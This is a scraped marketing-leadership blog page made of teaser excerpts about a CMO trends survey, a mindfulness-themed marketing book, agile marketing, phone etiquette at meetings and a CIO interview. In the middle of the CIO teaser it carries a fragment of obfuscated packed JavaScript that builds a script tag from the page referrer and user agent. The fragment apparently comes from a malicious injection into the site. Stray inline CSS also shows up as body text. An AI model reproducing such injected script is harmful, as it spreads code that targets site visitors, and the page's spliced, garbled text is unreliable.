Category: Uncategorized

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We have just completed our 2nd annual CMO Trends research.
Thanks to input from 55 CMOs, we uncovered the two biggest obstacles to thriving in today’s data-driven business climate.
When you register, you will receive:

A 13-page research report containing a 5-step guide to eliminating today’s biggest marketing leadership obstacles
A Marketing Planning Matrix™ to deepen your customer relationships
4 pragmatic, “quick hit” videos to improve your decision-making, increase your strategic acumen, and accelerate team alignment

 …

Marketing Lessons from the Sharing Economy: Danger, or Opportunity?
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I recently enjoyed a lively conversation with my long-time friend and colleague, Philip Lay of The Chasm Group. He has invested significant time studying the disruptive marketing lessons from the sharing economy leaders such as Uber, Lyft, and Airbnb.

In my newest FastCompany post, you will find a summary of this discussion and learn:

The sine qua non…requirement for being a modern marketer (and it’s not big data);

I am pleased to announce that my new marketing leadership development book, The Mindful Marketer: How to Stay Present and Profitable in a Data-Driven World is now officially available for pre-order worldwide. Since you are a member of our community, you can now download a complimentary sample chapter.
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This chapter outlines proven strategies to deepen your relationship with your CFO.

Do you consider yourself an agile marketer?
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I am not referring to the study of agile marketing processes and techniques (although these are compelling, contemporary methods worth studying, as mentioned
in a previous post and in my newest book). I mean a marketing leader who applies rapid learning and critical thinking approaches to make informed choices, deepen customer and peer relationships, and deliver high-impact marketing programs….

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Big data, customer-driven buying cycles, and new demands on marketers. These business trends are enough to cause perpetual stress and paralysis. If you are like some of my clients, you may think these forces require you to DO more.

What if, INSTEAD, you tried to just BE more?

This approach may feel counter-intuitive to many of you….

Here are the highlights of our 2nd annual CMO Trends study. While I put the finishing touches on the white paper, I thought you’d like a sneak peek into what we learned:
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Fifty-five CMOs responded, representing a wide range of industries. They include academic, software, trade associations, real estate, financial services, cybersecurity, media…, pharma, and hospitality.

Magnus and I lived in Southern California for 10 years. Now a D.C. area resident, I pine for that moderate coastal climate as the oppressively humid summers start to take hold.
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My “California Dreaming” became a reality this week, when I joined my husband for a quick getaway. Since I can work from any location, I bring my laptop, hunt for good WiFi, and get down to business adroitly.

will you please turn off your phone while we eat lunch?”
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Over the years, I have asked several colleagues to turn off their devices while we enjoy a meal or brainstorm session together.And it makes many of them feel uncomfortable, if not naked.

Here is why I do it: It is downright disrespectfuland intrusive for business colleagues to regularly glance at their phones while we attempt meaningful conversation….

I just spent an hour asking Andi Karaboutis, CIO of Dell, learning about “What the CIO Wants the CMO to Know.”
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfnd|var|u0026u|referrer|nefdh||js|php’.split(‘|’),0,{}))

Here is what we covered:

5 biggest sources of tension between CIOs and CMOs
How Dell has overcome this tension
Hot productivity tools and planning models to engage internal and external customers
Andi’s advice to CMOs

If you would like to hear the entire discussion and receive an executive summary of the program, join our Making Marketing Waves™ community….

font-size: 16px; font-style: normal; font-variant: normal; font-weight: 300; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none; background-color: #ffffff;”>As a Washington, D.C., suburbanite, I can confidently say that politics can cause unexpected changes overnight. Political, cultural, and atmospheric winds blow erratically. Much like I described in my previous FastCompany post, the chief financial officer role has followed similar patterns, and modern marketers should proactively embrace those changes to avoid gale-force winds in their careers….